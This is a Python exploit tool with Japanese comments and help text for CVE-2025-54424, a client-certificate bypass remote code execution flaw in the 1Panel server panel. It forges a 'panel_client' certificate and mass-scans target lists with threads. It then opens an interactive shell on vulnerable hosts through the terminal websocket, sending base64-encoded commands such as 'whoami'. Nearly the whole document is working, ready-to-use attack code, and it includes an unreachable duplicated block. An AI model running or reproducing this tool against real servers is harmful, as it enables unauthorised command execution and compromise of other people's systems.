{
  "type": "ps",           // データ型: ps(プロセス), ssh(SSHセッション), net(ネットワーク接続), wget(ダウンロード進捗)
  "pid": 123,             // オプション、特定のプロセスIDでフィルタリング
  "name": "process_name", // オプション、プロセス名でフィルタリング
  "username": "user"      // オプション、ユーザー名でフィルタリング
}

{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // "whoami" の base64 エンコード。改行を忘れずに。
}

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel クライアント証明書バイパスRCE脆弱性 統合ツール (スキャン+エクスプロイト)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            このヘルプメッセージを表示して終了
  -u URL, --url URL     単一ターゲット、エクスプロイトモードに入る。例: 192.168.1.100:8080
  -f FILE, --file FILE  ターゲットファイル、バッチスキャンモードに入る。
  -o OUTPUT, --output OUTPUT
                        [スキャンモード] 脆弱性結果を保存するファイル名。
  -t THREADS, --threads THREADS
                        [スキャンモード] 同時スレッド数。
  --proxy PROXY         すべてのリクエストにプロキシを設定。例: http://127.0.0.1:8080

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# requests ライブラリでSSL検証を無効化した際の警告を抑制
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- グローバル変数とスレッドロック ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- コア機能関数 ---

def generate_self_signed_cert():
    """CN='panel_client'の証明書と秘密鍵を動的に生成し、一時ファイルパスを返す。"""
    with print_lock:
        print("[*] 偽装クライアント証明書を動的に生成中...")
    try:
        private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"panel_client")])
        cert_builder = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(
            private_key.public_key()
        ).serial_number(x509.random_serial_number()).not_valid_before(
            datetime.datetime.utcnow()
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=365)
        )
        cert = cert_builder.sign(private_key, hashes.SHA256())
        
        key_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".key")
        key_file.write(private_key.private_bytes(
            encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption(),
        ))
        key_file.close()
        
        cert_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".crt")
        cert_file.write(cert.public_bytes(serialization.Encoding.PEM))
        cert_file.close()
        
        with print_lock:
            print(f"[+] 証明書生成完了: {cert_file.name}, {key_file.name}")
        return cert_file.name, key_file.name
    except Exception as e:
        with print_lock:
            print(f"[ERROR] 証明書生成中にエラー: {e}")
        return None, None

def check_target(target_host, cert_path, key_path, proxy_dict, proxy_opts):
    """単一ターゲットに対して完全な2段階検出プロセスを実行。戻り値 (target_host, bool, str)"""
    # ステップ1：HTTP事前チェック
    check_url = f"https://{target_host}/api/v2/dashboard/base/os"
    headers = {
        'User-Agent': '1panel_client',
        'Origin':f"https://{target_host}/",
        'Content-Type': 'application/ison'
    }
    try:
        response = requests.get(
            check_url, cert=(cert_path, key_path), proxies=proxy_dict, verify=False, timeout=10, headers=headers
        )
        if response.status_code != 200:
            return target_host, False, f"事前チェック失敗 (HTTP {response.status_code})"
        with print_lock:
            print(f"[*] {target_host:<21} - HTTP事前チェック成功 (200 OK)")
    except requests.exceptions.RequestException as e:
        return target_host, False, f"事前チェックリクエスト失敗 ({type(e).__name__})"

    # ステップ2：WebSocket接続試行
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return target_host, True, "脆弱性あり (HTTP事前チェックとWSS接続両方成功)"
    except Exception as e:
        return target_host, False, f"WSS接続失敗 ({type(e).__name__})"

    # ステップ2：WebSocket接続試行（重複コード、本来は不要だが元のスクリプトに合わせて残す）
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return True, "脆弱性あり (HTTP事前チェックとWSS接続両方成功)"
    except Exception as e:
        return False, f"WSS接続失敗 ({type(e).__name__})"

def receive_thread(ws):
    """対話型シェルの受信スレッド。"""
    global exploit_running
    while exploit_running:
        try:
            raw_message = ws.recv()
            if not raw_message: continue
            response_json = json.loads(raw_message)
            if isinstance(response_json, dict) and "data" in response_json and response_json["data"]:
                decoded_bytes = base64.b64decode(response_json["data"])
                output_str = decoded_bytes.decode('utf-8', errors='ignore')
                sys.stdout.write(output_str)
                sys.stdout.flush()
        except (websocket.WebSocketConnectionClosedException, ConnectionResetError):
            if exploit_running: print("\n[*] 接続が予期せず切断されました。"); exploit_running = False
            break
        except Exception: pass

def run_exploit_mode(target, cert_path, key_path, proxy_opts):
    """単一ターゲットに対するエクスプロイトを実行。"""
    global exploit_running
    print("[*] 対話型シェルを取得しようとしています...")
    ws_url = f"wss://{target}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, **proxy_opts)
        print("[+] シェル取得成功！")
        print("[*] 'exit' と入力するか、Ctrl+C で終了します。")
        print("---")

        recv_th = threading.Thread(target=receive_thread, args=(ws,))
        recv_th.daemon = True
        recv_th.start()
        
        while exploit_running:
            try:
                cmd = input()
                if cmd.strip().lower() == 'exit': break
                b64_cmd = base64.b64encode((cmd + '\n').encode('utf-8')).decode('utf-8')
                ws.send(json.dumps({"type": "cmd", "data": b64_cmd}))
            except EOFError: break
        
        exploit_running = False
        ws.close()
    except KeyboardInterrupt:
        print("\n[*] ユーザーによる中断、シェルを閉じています...")
    except Exception as e:
        print(f"\n[-] シェル取得中にエラー: {e}")
    finally:
        exploit_running = False

def run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, threads, output_file):
    """バッチスキャンを実行。"""
    print(f"[*] {len(targets)} 個のターゲットを {threads} スレッドで検出開始...")
    with ThreadPoolExecutor(max_workers=threads) as executor:
        future_to_target = {executor.submit(check_target, t, cert_path, key_path, proxy_dict, proxy_opts): t for t in targets}
        for future in as_completed(future_to_target):
            target, is_vulnerable, message = future.result()
            with print_lock:
                if is_vulnerable:
                    print(f"[+] {target:<21} - {message}")
                    vulnerable_hosts.append(target)
                else:
                    print(f"[-] {target:<21} - {message}")
    
    if vulnerable_hosts:
        print(f"\n[*] 検出完了！{len(vulnerable_hosts)} 個の脆弱性が確認されたターゲットが見つかりました。")
        with open(output_file, 'w') as f:
            for host in vulnerable_hosts:
                f.write(host + '\n')
        print(f"[+] 結果をファイルに保存しました: {output_file}")
    else:
        print("\n[*] 検出完了、脆弱性のあるターゲットは見つかりませんでした。")

def main():
    parser = argparse.ArgumentParser(description="1Panel クライアント証明書バイパスRCE脆弱性 統合ツール (スキャン+エクスプロイト)\n作者: Mrxn https://github.com/Mr-xn", formatter_class=argparse.RawTextHelpFormatter)
    mode = parser.add_mutually_exclusive_group(required=True)
    mode.add_argument("-u", "--url", help="単一ターゲット、エクスプロイトモードに入る。例: 192.168.1.100:8080")
    mode.add_argument("-f", "--file", help="ターゲットファイル、バッチスキャンモードに入る。")
    
    parser.add_argument("-o", "--output", default="vulnerable_targets.txt", help="[スキャンモード] 脆弱性結果を保存するファイル名。")
    parser.add_argument("-t", "--threads", type=int, default=20, help="[スキャンモード] 同時スレッド数。")
    parser.add_argument("--proxy", help="すべてのリクエストにプロキシを設定。例: http://127.0.0.1:8080")
    args = parser.parse_args()

    cert_path, key_path = generate_self_signed_cert()
    if not cert_path: sys.exit(1)

    proxy_dict = {"http": args.proxy, "https": args.proxy} if args.proxy else {}
    proxy_opts = {}
    if args.proxy:
        print(f"[*] すべてのリクエストはプロキシ経由: {args.proxy}")
        p = urlparse(args.proxy)
        proxy_opts = {"proxy_type": p.scheme, "http_proxy_host": p.hostname, "http_proxy_port": p.port, "http_proxy_auth": (p.username, p.password) if p.username else None}

    try:
        if args.url:
            # --- エクスプロイトモード ---
            print(f"---[ 単一ターゲットエクスプロイトモード: {args.url} ]---")
            target, is_vulnerable, message = check_target(args.url, cert_path, key_path, proxy_dict, proxy_opts)
            if is_vulnerable:
                print(f"[+] ターゲット {args.url} は脆弱性が確認されました！")
                run_exploit_mode(args.url, cert_path, key_path, proxy_opts)
            else:
                print(f"[-] ターゲット {args.url} は脆弱性がないかアクセス不可: {message}")
        
        elif args.file:
            # --- スキャンモード ---
            print(f"---[ バッチスキャンモード: {args.file} ]---")
            if not os.path.exists(args.file):
                print(f"[ERROR] ターゲットファイルが存在しません: {args.file}"); return
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
            if not targets:
                print("[ERROR] ターゲットファイルが空です。"); return
            run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, args.threads, args.output)

    except KeyboardInterrupt:
        print("\n[*] ユーザーによる中断、終了しています...")
    finally:
        if cert_path and os.path.exists(cert_path): os.remove(cert_path)
        if key_path and os.path.exists(key_path): os.remove(key_path)
        print("[*] 一時証明書をクリーンアップしました。プログラムを終了します。")

if __name__ == "__main__":
    main()